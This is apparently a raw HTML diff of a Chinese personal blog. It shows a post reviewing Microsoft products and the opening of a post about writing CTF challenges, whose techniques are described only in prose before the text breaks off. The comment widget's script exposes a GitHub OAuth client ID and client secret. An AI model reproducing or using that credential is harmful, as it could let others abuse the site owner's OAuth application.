<p>说起Windows沙箱我就不得不吹一波我<a href="/2021/05/15/vulnerability.html">发现了他们的漏洞</a>。不过也正是因为这个漏洞原本我对Windows沙箱是绝对信任的现在我已经信任不了了。Windows沙箱是一个基于当前在使用的Windows系统文件使用Hyper-V轻量级虚拟机制作的一个环境只是说用的话还是挺不错的在里面进行任何操作只要关掉之后就不会留下任何痕迹而且相比普通Hyper-V虚拟机好的一点就是它不占存储空间启动速度非常快毕竟它用的是当前系统的文件制作的。另外使用.wsb配置文件可以做到自动部署以及使用外部摄像头、话筒、显卡等能力这也是普通Hyper-V虚拟机好的一点。</p>
<h2 id="wsawindows-subsystem-for-android">
<a href="#wsawindows-subsystem-for-android"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> WSAWindows Subsystem for Android™
</h2>
<p>这篇文章正是因为他们出了WSA才突然想写的这也证明了我对WSA还是很满意的。我昨天用了一下WSA安装了ES文件浏览器本来我还觉得奇怪它的主界面在哪里安装完成之后才发现这个软件已经到我的应用列表里面了。这时候我才意料到这才是子系统该做的事情。其他安卓模拟器再怎么做也能感受到我用的是一个模拟器软件而WSA给了我不同的感受可以感受到似乎安卓程序真的跑在了Windows上面一样。首先在WSA中输入法使用的是Windows的输入法很多模拟器很难做到这一点基本上他们都是使用的安卓系统内的输入法。第二是实时更改分辨率当我调整WSA中程序的窗口大小内容也会跟着一起变。目前我见到的安卓模拟器似乎都没有这个能力。从用户体验来说以上就做的很好。另外还有性能因为和Windows沙箱一样也用的是Hyper-V虚拟机CPU基本上和裸机直接装Android x86性能一样好ARM兼容层看起来貌似和Android x86一样用的是Intel开发的Houdini所以跑ARM软件应该也没什么问题。于是在我用了一小会WSA之后就把之前安装的Android x86虚拟机删掉了。很明显微软配的虚拟机比我自己配的好太多了。 </p><p>
不过目前因为还在测试阶段目前WSA还不能调用独立显卡如果要是玩游戏目前效果还是挺差的。具体要说用嘛因为我现在电脑要是玩安卓游戏都用的是云游戏所以虽然WSA确实非常不错不过我可能只会用于开发/调试用途玩游戏还是不会去用WSA。所以这个问题也能接受。</p>
<h1 id="office">
<a href="#office"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> Office
</h1>
<p>Office是我从小就在用的软件从当年的2003版一直到现在的Microsoft 365想当年我刚接触计算机的时候用的就是PowerPoint一直到现在不过其实很多年以来更新的幅度并不是很大除了在2007版的整体界面逻辑更新以及2016版以后增加的几个特效确实不错软件本身并没有特别大的变化。不过到了2016版之后出的Microsoft 365就不一样了Microsoft 365从原本普通的软件升级成为了SaaS类型的云软件到现在的效果就很不错。首先第一点就是把软件做成HTML5的形式保证在任何地方都可以使用另外就是模板和图标以及设计灵感的功能这些基于云的功能用起来都效果很不错。另外要是说到云的话其实WPS可能更早一些不过WPS那个体验是真的糟糕垃圾的简直就是不能看它唯一的优点可能就是方便吧我一般如果给其他人安装Office可能就直接安装WPS了一键就能完成另外就是Linux系统中因为没有Microsoft Office所以可能也就是Linux的WPS Office能勉强一用吧。</p>
<h1 id="visual-studio-code">
<a href="#visual-studio-code"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> Visual Studio Code
</h1>
<p>如果说Visual Studio是宇宙最强IDE那么Visual Studio Code就是宇宙最强编辑器。从开发的角度来说可能确实是这样。VSCode的扩展性使用效果在编辑器里都是相当强的又因为使用的是Electron框架编写所以也有着很强的跨平台性。另外插件也非常多插件开发难度低JS开发已经很简单了所以使用效果很不错。可惜我并不看重它的跨平台性如果说我在其他电脑上做开发可能会使用VSCode而我自己的电脑坚决不会用。因为我不喜欢一个软件就套一个浏览器安卓做这活已经让我很难受了我不允许我的电脑上也出现同样的问题。如果说Electron能做成像WebView那种感觉那我觉得可以但是现在就是垃圾所以我只用Notepad++。如果有人因为Notepad++作者有啥问题让我别用,那我只能说赶紧爬,我不确定这种人是有什么毛病,至少这个作者没有往这个编辑器里面加病毒或者是什么挖矿工具之类的私货,至少人家作者人品没问题,具体观念那是人家自己的事情,骂这个作品的人肯定脑子有问题。</p>
<h1 id="github">
<a href="#github"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> <a href="https://github.com/">GitHub</a>
</h1>
<p>GitHub我不知道算不算微软的产品不过既然已经被收购了应该算吧。总的来说我感觉在git的代码托管平台之中没有哪一家能和GitHub相比。GitHub的各个方面无论是知名度还是功能上来说都算是全球领先吧。</p>
<h2 id="github-pages">
<a href="#github-pages"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> <a href="https://pages.github.com/">Github Pages</a>
</h2>
<p>我的博客就是在Github Pages上的从易用性来说似乎甚至没有什么可替代品。</p>
<h2 id="github-actions">
<a href="#github-actions"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> <a href="https://github.com/features/actions">Github Actions</a>
</h2>
<p>Github Actions也挺好用的算是很良心的CI/CD平台了吧使用的服务器性能也很强可惜这种服务很容易被滥用之前也有人拿它挖矿以至于现在除非项目很出名不然用的多了就有可能会被判滥用。</p>
<h2 id="github-web-editor">
<a href="#github-web-editor"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> <a href="https://github.dev/">Github Web Editor</a>
</h2>
<p>最近GitHub使用VSCode搭了一个很有意思的东西在仓库里按“.”就可以进入在这里面可以用VSCode在线编辑仓库里面的文件而且在线就能直接提交非常的方便。不过也有些问题比如说能装的插件很少甚至连中文插件都不能装……另外我也不能用它写博客因为我的博客为了安全开了分支保护必须用签名的方式提交不过目前来看貌似这个VSCode并没有签名所以不是很完善。另外就是Codespaces不过这个我感觉不太行因为使用起来<a href="https://github.com/cdr/code-server">code-server</a>就足够好了只要手头有服务器就可以整Codespaces还是不太行没有足够的吸引力。</p>
<h2 id="github-education">
<a href="#github-education"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> <a href="https://education.github.com/">Github Education</a>
</h2>
<p>因为我还是学生前段时间我在Github上完成了学生认证。不得不说Github是真的良心只要完成了学生认证有大把大把的资源都会送像什么服务器、域名、各种各样的会员、专业版的软件一律免费。不过准确来说应该是微软良心像这些活动应该都是微软搞的。我现在领的东西大概有4个1年的免费域名购买权限、2台免费的低配服务器、1年JetBrains免费全家桶订阅、Github Pro等等其他乱七八糟的我也不是很清楚干嘛用的总之就一句话良心啊。</p>
<h1 id="azure">
<a href="#azure"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> Azure
</h1>
<p>正是在上面Github完成了学生认证所以我也可以免费使用学生版的Azure订阅。之前我们学校有老师带我们参加AWS的比赛所以也有用过AWS。不过目前我用起来感觉Azure更加人性化一点AWS一堆自创的专有名词还要别人去学那东西真的给我整麻了。通过了学生认证之后就会有100USD的免费使用额度不过一般来说正常使用甚至都用不到这个额度B1s的虚拟机1h1g+P6的硬盘64g可以搭Linux和Windows各一台还能整10个免费的容器或者虚拟空间以及B1ms的MySQL和PostgreSQL服务器各一台另外更有一堆AI接口不过我不会用所以就算了。光这些东西基本上是干啥都够用了到最后一个月还可以一把开个超大服务器爽一把不过其实Azure是按秒计费的所以如果有大量计算需求的也可以随用随开虽然我感觉没有能用上的地方……其实Azure限制最大的还是在出站流量上面一个月只能免费用15GiB当普通的服务器倒是够用但是当梯子就有点困难了。 </p><p>
像Azure送的两台服务器对我作用还是挺大的我现在在上面就开了1个Jupyter用于学习机器学习1个code-server还有Django开发环境PHP开发环境另外还有帮同学维护的博客。这服务器承载的东西还是蛮多的我上课的东西都在上面了。这样我就不需要在电脑上安装这堆乱七八糟的环境等服务器到期我也就结课了这样环境就随着服务器一起消失我就不需要再考虑清理电脑的痛苦了。</p>
<h1 id="总结">
<a href="#总结"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 总结
</h1>
<p>无论微软怎么样,它都确确实实的提升了我们生活的质量,制作的东西也很有意思,而且相比于其他公司,已经算是很良心了(至少比国内那些大公司良心)。也许微软在某些小地方做了错误的决定,但是总的来说,还是希望他们能做出更好的产品,用更好的技术带领科技的发展。</p></main>
<small style="display: block">tags: <a rel="category tag" class="p-category" href="/search.html?keyword=%E5%BE%AE%E8%BD%AF"><em>微软</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=%E4%BD%93%E9%AA%8C"><em>体验</em></a> <span style="float: right;"><a href="https://gitlab.com/mayx/mayx.gitlab.io/tree/master/_posts/2021-10-23-microsoft.md">查看原始文件</a></span></small>
<h4 style="border-bottom: 1px solid #e5e5e5;margin: 2em 0 5px;">推荐文章</h4>
<p id="suggest-container">Loading...</p>
<script>
var suggest = $("#suggest-container");
$.get(BlogAPI + "/suggest?id=/2021/10/23/microsoft.html&update=" + lastUpdated.valueOf(), function (data) {
if (data.length) {
getSearchJSON(function (search) {
suggest.empty();
var searchMap = {};
for (var i = 0; i < search.length; i++) {
searchMap[search[i].url] = search[i];
}
var tooltip = $('<div class="content-tooltip"></div>').appendTo('body').hide();
for (var j = 0; j < data.length; j++) {
var item = searchMap[data[j].id];
if (item) {
var link = $('<a href="' + item.url + '">' + item.title + '</a>');
var contentPreview = item.content.substring(0, 100);
if (item.content.length > 100) {
contentPreview += "……";
}
link.hover(
function(e) {
tooltip.text($(this).data('content'))
.css({
top: e.pageY + 10,
left: e.pageX + 10
})
.show();
},
function() {
tooltip.hide();
}
).mousemove(function(e) {
tooltip.css({
top: e.pageY + 10,
left: e.pageX + 10
});
}).data('content', contentPreview);
suggest.append(link);
suggest.append(' - ' + item.date + '<br />');
}
}
});
} else {
suggest.html("暂无推荐文章……");
}
});
</script>
<br />
<div class="pagination">
<span class="prev">
<a href="/2021/09/28/cloudgame.html">
上一篇:云游戏的体验与感受
</a>
</span>
<br />
<span class="next">
<a href="/2021/11/27/createctf.html">
下一篇记一次CTF出题的经历
</a>
</span>
</div>
<!--[if !IE]> -->
<link rel="stylesheet" href="/assets/css/gitalk.css">
<script src="/assets/js/gitalk.min.js"></script>
<div id="gitalk-container"></div>
<script>
var gitalk = new Gitalk({
clientID: '36557aec4c3cb04f7ac6',
clientSecret: 'ac32993299751cb5a9ba81cf2b171cca65879cdb',
repo: 'mabbs.github.io',
owner: 'Mabbs',
admin: ['Mabbs'],
id: '/2021/10/23/microsoft', // Ensure uniqueness and length less than 50
distractionFreeMode: false, // Facebook-like distraction free mode
proxy: "https://cors-anywhere.mayx.eu.org/?https://github.com/login/oauth/access_token"
})
gitalk.render('gitalk-container')
</script>
<!-- <![endif]-->
</section>
<!--[if !IE]> -->
<div id="landlord" style="left:5px;bottom:0px;">
<div class="message" style="opacity:0"></div>
<canvas id="live2d" width="500" height="560" class="live2d"></canvas>
<div class="live_talk_input_body">
<form id="live_talk_input_form">
<div class="live_talk_input_name_body" >
<input type="checkbox" id="load_this" />
<input type="hidden" id="post_id" value="/2021/10/23/microsoft.html" />
<label for="load_this">
<span style="font-size: 11px; color: #fff;">&#160;想问这篇文章</span>
</label>
</div>
<div class="live_talk_input_text_body">
<input name="talk" type="text" class="live_talk_talk white_input" id="AIuserText" autocomplete="off" placeholder="要和我聊什么呀?" />
<button type="submit" class="live_talk_send_btn" id="talk_send">发送</button>
</div>
</form>
</div>
<input name="live_talk" id="live_talk" value="1" type="hidden" />
<div class="live_ico_box" style="display:none;">
<div class="live_ico_item type_info" id="showInfoBtn"></div>
<div class="live_ico_item type_talk" id="showTalkBtn"></div>
<div class="live_ico_item type_music" id="musicButton"></div>
<div class="live_ico_item type_youdu" id="youduButton"></div>
<div class="live_ico_item type_quit" id="hideButton"></div>
<input name="live_statu_val" id="live_statu_val" value="0" type="hidden" />
<audio src="" style="display:none;" id="live2d_bgm" data-bgm="0" preload="none"></audio>
<input id="duType" value="douqilai" type="hidden" />
</div>
</div>
<div id="open_live2d">召唤伊斯特瓦尔</div>
<!-- <![endif]-->
<footer>
<p>
<small>Made with ❤ by Mayx<br />Last updated at 2026-01-17 17:35:53<br /> 总字数614622 - 文章数178 - <a href="/atom.xml" >Atom</a> - <a href="/README.html" >About</a></small>
</p>
</footer>
</div>
<script src="/assets/js/scale.fix.js"></script>
<!--[if !IE]> -->
<script src="/assets/js/main_new.js"></script>
<script src="/Live2dHistoire/live2d/js/live2d.js"></script>
<script src="/Live2dHistoire/live2d/js/message.js"></script>
<!-- <![endif]-->
</body>
</html>

331
2021/11/27/createctf.html Normal file
View File

@@ -0,0 +1,331 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<!-- Begin Jekyll SEO tag v2.8.0 -->
<title>记一次CTF出题的经历 | Mayx的博客</title>
<meta name="generator" content="Jekyll v3.9.5" />
<meta property="og:title" content="记一次CTF出题的经历" />
<meta name="author" content="mayx" />
<meta property="og:locale" content="zh_CN" />
<meta name="description" content="现在我终于把CTF的全流程都体验了一遍" />
<meta property="og:description" content="现在我终于把CTF的全流程都体验了一遍" />
<meta property="og:site_name" content="Mayx的博客" />
<meta property="og:type" content="article" />
<meta property="article:published_time" content="2021-11-27T00:00:00+08:00" />
<meta name="twitter:card" content="summary" />
<meta property="twitter:title" content="记一次CTF出题的经历" />
<meta name="google-site-verification" content="huTYdEesm8NaFymixMNqflyCp6Jfvd615j5Wq1i2PHc" />
<meta name="msvalidate.01" content="0ADFCE64B3557DC4DC5F2DC224C5FDDD" />
<meta name="yandex-verification" content="fc0e535abed800be" />
<script type="application/ld+json">
{"@context":"https://schema.org","@type":"BlogPosting","author":{"@type":"Person","name":"mayx"},"dateModified":"2021-11-27T00:00:00+08:00","datePublished":"2021-11-27T00:00:00+08:00","description":"现在我终于把CTF的全流程都体验了一遍","headline":"记一次CTF出题的经历","mainEntityOfPage":{"@type":"WebPage","@id":"/2021/11/27/createctf.html"},"publisher":{"@type":"Organization","logo":{"@type":"ImageObject","url":"https://avatars0.githubusercontent.com/u/17966333"},"name":"mayx"},"url":"/2021/11/27/createctf.html"}</script>
<!-- End Jekyll SEO tag -->
<link rel="canonical" href="https://mabbs.github.io/2021/11/27/createctf.html" />
<link type="application/atom+xml" rel="alternate" href="/atom.xml" title="Mayx的博客" />
<link rel="alternate" type="application/rss+xml" title="Mayx的博客(RSS)" href="/rss.xml" />
<link rel="alternate" type="application/json" title="Mayx的博客(JSON Feed)" href="/feed.json" />
<link rel="stylesheet" href="/assets/css/style.css?v=1768642553" />
<!--[if !IE]> -->
<link rel="stylesheet" href="/Live2dHistoire/live2d/css/live2d.css" />
<!-- <![endif]-->
<link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="Mayx的博客" />
<link rel="webmention" href="https://webmention.io/mabbs.github.io/webmention" />
<link rel="pingback" href="https://webmention.io/mabbs.github.io/xmlrpc" />
<link rel="preconnect" href="https://summary.mayx.eu.org" crossorigin="anonymous" />
<link rel="prefetch" href="https://www.blogsclub.org/badge/mabbs.github.io" as="image" />
<link rel="blogroll" type="text/xml" href="/blogroll.opml" />
<link rel="me" href="https://github.com/Mabbs" />
<script src="/assets/js/jquery.min.js"></script>
<!--[if lt IE 9]>
<script src="//cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery-ajaxtransport-xdomainrequest/1.0.3/jquery.xdomainrequest.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<script>
var lastUpdated = new Date("Sat, 17 Jan 2026 17:35:53 +0800");
var BlogAPI = "https://summary.mayx.eu.org";
</script>
<script src="/assets/js/main.js"></script>
<!--[if !IE]> -->
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async="async" src="https://www.googletagmanager.com/gtag/js?id=UA-137710294-1"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-137710294-1');
</script>
<script src="/assets/js/instant.page.js" type="module"></script>
<!-- <![endif]-->
</head>
<body>
<!--[if !IE]> --><noscript><marquee style="top: -15px; position: relative;"><small>发现当前浏览器没有启用JavaScript这不影响你的浏览但可能会有一些功能无法使用……</small></marquee></noscript><!-- <![endif]-->
<!--[if IE]><marquee style="top: -15px; position: relative;"><small>发现当前浏览器为Internet Explorer这不影响你的浏览但可能会有一些功能无法使用……</small></marquee><![endif]-->
<div class="wrapper">
<header class="h-card">
<h1><a class="u-url u-uid p-name" rel="me" href="/">Mayx的博客</a></h1>
<img src="https://avatars0.githubusercontent.com/u/17966333" fetchpriority="high" class="u-photo" alt="Logo" style="width: 90%; max-width: 300px; max-height: 300px;" />
<p class="p-note">Mayx's Home Page</p>
<form action="/search.html">
<input type="text" name="keyword" id="search-input-all" placeholder="Search blog posts.." />&#160;<input type="submit" value="搜索" />
</form>
<br />
<p class="view"><a class="u-url" href="/Mabbs/">About me</a></p>
<ul class="downloads">
<li style="width: 270px; border-right: none;"><a href="/MayxBlog.tgz">Download <strong>TGZ File</strong></a></li>
</ul>
</header>
<section class="h-entry">
<small><time class="date dt-published" datetime="2021-11-27T00:00:00+08:00">27 November 2021</time> - 字数统计1983 - 阅读大约需要6分钟 - Hits: <span id="/2021/11/27/createctf.html" class="visitors">Loading...</span></small>
<h1 class="p-name">记一次CTF出题的经历</h1>
<p class="view">by <a class="p-author h-card" href="//github.com/Mabbs">mayx</a></p>
<div id="outdate" style="display:none;">
<hr /><p>
这是一篇创建于 <span id="outime"></span> 天前的文章,其中的信息可能已经有所发展或是发生改变。
</p>
</div>
<script>
daysold = Math.floor((new Date().getTime() - new Date("Sat, 27 Nov 2021 00:00:00 +0800").getTime()) / (24 * 60 * 60 * 1000));
if (daysold > 90) {
document.getElementById("outdate").style.display = "block";
document.getElementById("outime").innerHTML = daysold;
}
</script>
<hr />
<b>AI摘要</b>
<p id="ai-output">这篇文章讲述了作者作为CTF比赛的出题者经历。作者结合自己的CTF参赛经验以既有题目和实际漏洞为基础设计了包含绕过Python条件、PHP MD5漏洞题目及利用APICloud加密功能的挑战题目。尽管第一题是拼凑的但第二题和第三题注重原创性分别测试了参赛者代码分析和调试能力。作者对解题结果感到满意指出学信息安全的学生过于依赖解题思路缺乏深入分析代码的能力。文章还提到作者另一次有趣的经历即与其他网友进行XSS漏洞的竞赛。总体上作者认为出题过程对提升自己的渗透思维和找寻真实环境漏洞有帮助并对参赛者的能力进行了评价。</p>
<hr />
<ul><li><a href="#起因">起因</a></li><li><a href="#出了什么题">出了什么题?</a><ul><li><a href="#第一题">第一题</a></li><li><a href="#第二题">第二题</a></li><li><a href="#第三题">第三题</a></li></ul></li><li><a href="#出题感受和其他">出题感受和其他</a></li></ul>
<hr />
<main class="post-content e-content" role="main"><p>现在我终于把CTF的全流程都体验了一遍<!--more--></p>
<h1 id="起因">
<a href="#起因"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 起因
</h1>
<p>去年我们学校整了CTF我作为协办方的一员<a href="/2020/11/24/createctf.html">组织了那场比赛</a>而今年又是一年一度的CTF比赛这次我有了组织了经历就想换点别的因为前段时间我还在<a href="/2021/09/06/offlinectf.html">线下打过CTF</a>,相比去年有了更加丰富的经验,所以这次的比赛我就不维护平台了,而是试着去出题。</p>
<h1 id="出了什么题">
<a href="#出了什么题"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 出了什么题?
</h1>
<p>说是有丰富的经验但是实际上我又不是信息安全专业的也没有专门去练过怎么打CTF所以我实际上也不咋会出题😂。不过没关系我前几次CTF也有解出来过题目那就用他们的思路来出些题目吧当然在CTF里还是得出点原创题如果直接去抄别人的题还是非常不好的行为毕竟对于这种情况搜到的人会感觉很没意思而对于没搜到的人也很不公平毕竟这不是搜索技能大赛。不过借鉴思路还是没有问题的毕竟对于普通人来说还是得用普通思路解题。</p>
<h2 id="第一题">
<a href="#第一题"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 第一题
</h2>
<p>所以第一题我缝合了两年前打过的CTF中一道叫<a href="/2019/12/16/ctf.html">Swedish State Archive</a>的题目和前几个月打过的CTF中一道<a href="/2021/09/06/offlinectf.html">关于PHP判断MD5漏洞</a>的一道题。在这个题中首先要绕过Python的那些条件才能获得PHP的源码而且我没有在git中直接提交flag所以难度比那单个题目更难了获得了PHP的源码之后就可以用那个MD5的漏洞来获得真正的flag了。总的来说难度还可以毕竟这还是正常思路可以解决的问题。最终解出来的情况我也很满意有12个队伍解出来了。</p>
<h2 id="第二题">
<a href="#第二题"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 第二题
</h2>
